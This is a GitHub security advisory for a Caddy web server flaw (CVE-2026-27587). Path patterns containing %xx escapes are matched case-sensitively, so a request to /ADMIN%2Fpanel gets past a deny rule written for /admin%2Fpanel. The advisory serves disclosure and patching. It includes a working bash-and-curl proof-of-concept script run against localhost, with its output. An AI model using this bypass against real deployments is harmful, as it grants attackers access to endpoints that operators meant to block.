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Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass

High severity GitHub Reviewed Published Feb 23, 2026 in caddyserver/caddy • Updated Feb 27, 2026

Package

gomod github.com/caddyserver/caddy/v2 (Go)

Affected versions

< 2.11.1

Patched versions

2.11.1

Description

Summary

Caddy's HTTP path request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (%xx) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path.

Details

In Caddy v2.10.2, MatchPath is explicitly designed to be case-insensitive and lowercases match patterns during provisioning:

  • modules/caddyhttp/matchers.go: rationale captured in the MatchPath comment.
  • MatchPath.Provision lowercases configured patterns via strings.ToLower.
  • MatchPath.MatchWithError lowercases the request path for the normal matching path: reqPath := strings.ToLower(r.URL.Path).

But when a match pattern contains a percent sign (%), MatchPath.MatchWithError switches to "escaped space" matching and builds the comparison string from r.URL.EscapedPath():

  • reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes)
  • If it doesn't match, it continues (skipping the remaining matching logic for that pattern).

Because r.URL.EscapedPath() is not lowercased, case differences in the request path can cause the escaped-space match to fail even though MatchPath is meant to be case-insensitive. For example, with a pattern of /admin%2Fpanel:

  • Requesting /admin%2Fpanel matches and can be denied as intended.
  • Requesting /ADMIN%2Fpanel does not match and falls through to other routes/handlers.

Suggested fix

  • In the %-pattern matching path, ensure the effective string passed to path.Match is lowercased (same as the normal branch).
    • Simplest seems to lowercase the constructed string in matchPatternWithEscapeSequence right before path.Match.

Reproduced on:

  • Stable release: v2.10.2 -- this is the release referenced in the reproduction below.
  • Dev build: v2.11.0-beta.2.
  • Master tip: commit 58968b3fd38cacbf4b5e07cc8c8be27696dce60f.

PoC

Prereqs:

  • bash, curl
  • A pre-built Caddy binary available at /opt/caddy-2.10.2/caddy (edit CADDY_BIN in the script if needed)
Script (Click to expand) 
#!/usr/bin/env bash
set -euo pipefail

CADDY_BIN="/opt/caddy-2.10.2/caddy"
HOST="127.0.0.1"
PORT="8080"

TMPDIR="$(mktemp -d)"
CADDYFILE="${TMPDIR}/Caddyfile"
LOG="${TMPDIR}/caddy.log"

cleanup() {
  if [ -n "${CADDY_PID:-}" ] && kill -0 "${CADDY_PID}" 2>/dev/null; then
    kill "${CADDY_PID}" 2>/dev/null || true
    wait "${CADDY_PID}" 2>/dev/null || true
  fi
  rm -rf "${TMPDIR}" 2>/dev/null || true
}
trap cleanup EXIT

if [ ! -x "${CADDY_BIN}" ]; then
  echo "error: missing caddy binary at ${CADDY_BIN}" >&2
  exit 2
fi

echo "== Caddy version =="
"${CADDY_BIN}" version

cat >"${CADDYFILE}" <<EOF
{
    debug
}

:${PORT} {
    log
    @block {
        path /admin%2Fpanel
    }
    respond @block "DENY" 403
    respond "ALLOW" 200
}
EOF

echo
echo "== Caddyfile =="
cat "${CADDYFILE}"

echo
echo "== Start Caddy (debug + capture logs) =="
echo "cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile"
"${CADDY_BIN}" run --config "${CADDYFILE}" --adapter caddyfile >"${LOG}" 2>&1 &
CADDY_PID="$!"

sleep 2

echo
echo "== Request 1 (baseline - expect deny) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/admin%2Fpanel" 2>&1 || true

echo
echo "== Request 2 (BYPASS - expect allow) =="
echo "cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel"
curl -v -H "Host: example.test" "http://${HOST}:${PORT}/ADMIN%2Fpanel" 2>&1 || true

echo
echo "== Stop Caddy =="
kill "${CADDY_PID}" 2>/dev/null || true
wait "${CADDY_PID}" 2>/dev/null || true

echo
echo "== Full Caddy debug log =="
cat "${LOG}"
Expected output (Click to expand) 
== Caddy version ==
v2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=

== Caddyfile ==
{
    debug
}

:8080 {
    log
    @block {
        path /admin%2Fpanel
    }
    respond @block "DENY" 403
    respond "ALLOW" 200
}

== Start Caddy (debug + capture logs) ==
cmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile

== Request 1 (baseline - expect deny) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /admin%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 403 Forbidden
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 4
<
* Connection #0 to host 127.0.0.1 left intact
DENY
== Request 2 (BYPASS - expect allow) ==
cmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080
* using HTTP/1.x
> GET /ADMIN%2Fpanel HTTP/1.1
> Host: example.test
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
< Server: Caddy
< Date: Sun, 08 Feb 2026 22:19:20 GMT
< Content-Length: 5
<
* Connection #0 to host 127.0.0.1 left intact
ALLOW
== Stop Caddy ==

== Full Caddy debug log ==
{"level":"info","ts":1770589158.3687892,"msg":"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined"}
{"level":"info","ts":1770589158.3690693,"msg":"GOMEMLIMIT is updated","package":"github.com/KimMachineGun/automemlimit/memlimit","GOMEMLIMIT":1844136345,"previous":9223372036854775807}
{"level":"info","ts":1770589158.369109,"msg":"using config from file","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile"}
{"level":"info","ts":1770589158.3704133,"msg":"adapted config to JSON","adapter":"caddyfile"}
{"level":"warn","ts":1770589158.370424,"msg":"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies","adapter":"caddyfile","file":"/tmp/tmp.GXiRbxOnBN/Caddyfile","line":2}
{"level":"info","ts":1770589158.3715324,"logger":"admin","msg":"admin endpoint started","address":"localhost:2019","enforce_origin":false,"origins":["//localhost:2019","//[::1]:2019","//127.0.0.1:2019"]}
{"level":"debug","ts":1770589158.3716462,"logger":"http.auto_https","msg":"adjusted config","tls":{"automation":{"policies":[{}]}},"http":{"servers":{"srv0":{"listen":[":8080"],"routes":[{"handle":[{"body":"DENY","handler":"static_response","status_code":403}]},{"handle":[{"body":"ALLOW","handler":"static_response","status_code":200}]}],"automatic_https":{},"logs":{}}}}}
{"level":"debug","ts":1770589158.3718414,"logger":"http","msg":"starting server loop","address":"[::]:8080","tls":false,"http3":false}
{"level":"warn","ts":1770589158.371858,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"warn","ts":1770589158.3718607,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"}
{"level":"info","ts":1770589158.3718636,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"level":"debug","ts":1770589158.3718896,"logger":"events","msg":"event","name":"started","id":"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6","origin":"","data":null}
{"level":"info","ts":1770589158.3720388,"msg":"autosaved config (load with --resume flag)","file":"/home/vh/.config/caddy/autosave.json"}
{"level":"info","ts":1770589158.3720443,"msg":"serving initial configuration"}
{"level":"info","ts":1770589158.372355,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0xc00064d180"}
{"level":"info","ts":1770589158.3855736,"logger":"tls","msg":"storage cleaning happened too recently; skipping for now","storage":"FileStorage:/home/vh/.local/share/caddy","instance":"a259f82d-3c7c-4706-9ca8-17456b4af729","try_again":1770675558.3855705,"try_again_in":86399.999999388}
{"level":"info","ts":1770589158.3857276,"logger":"tls","msg":"finished cleaning storage units"}
{"level":"info","ts":1770589160.2764065,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57126","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/admin%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000017493,"size":4,"status":403,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2943857,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"127.0.0.1","remote_port":"57136","client_ip":"127.0.0.1","proto":"HTTP/1.1","method":"GET","host":"example.test","uri":"/ADMIN%2Fpanel","headers":{"User-Agent":["curl/8.15.0"],"Accept":["*/*"]}},"bytes_read":0,"user_id":"","duration":0.000066734,"size":5,"status":200,"resp_headers":{"Server":["Caddy"],"Content-Type":["text/plain; charset=utf-8"]}}
{"level":"info","ts":1770589160.2966497,"msg":"shutting down apps, then terminating","signal":"SIGTERM"}
{"level":"warn","ts":1770589160.2966666,"msg":"exiting; byeee!! 👋","signal":"SIGTERM"}
{"level":"debug","ts":1770589160.296728,"logger":"events","msg":"event","name":"stopping","id":"aefb0a2f-0a81-4587-9f79-e530883c3fe1","origin":"","data":null}
{"level":"info","ts":1770589160.2967443,"logger":"http","msg":"servers shutting down with eternal grace period"}
{"level":"info","ts":1770589160.2968848,"logger":"admin","msg":"stopped previous server","address":"localhost:2019"}
{"level":"info","ts":1770589160.2968912,"msg":"shutdown complete","signal":"SIGTERM","exit_code":0}

Impact

This is a route/auth bypass in Caddy's path-matching logic for patterns that include escape sequences. Deployments that use path matchers with %xx patterns to block or protect sensitive endpoints (including encoded-path variants such as encoded slashes) can be bypassed by changing the casing of the request path, allowing unauthorized access to sensitive endpoints behind Caddy depending on upstream configuration.

The reproduction is minimal per the reporting guidance. In a realistic "full" scenario, a deployment may block %xx variants like path /admin%2Fpanel, otherwise proxying. If the backend is case-insensitive/normalizing, /ADMIN%2Fpanel maps to the same handler; Caddy’s %-pattern match misses due to case, so the block is skipped and the request falls through.

AI Use Disclosure

A custom AI agent pipeline was used to discover the vulnerability, after which was manually reproduced and validated each step. The entire report was ran through an LLM to make sure nothing obvious was missed.

Disclosure/crediting

Asim Viladi Oglu Manizada

References

@mholt mholt published to caddyserver/caddy Feb 23, 2026
Published by the National Vulnerability Database Feb 24, 2026
Published to the GitHub Advisory Database Feb 24, 2026
Reviewed Feb 24, 2026
Last updated Feb 27, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improper Handling of Case Sensitivity

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. Learn more on MITRE.

CVE ID

CVE-2026-27587

GHSA ID

GHSA-g7pc-pc7g-h8jh

Source code

Credits

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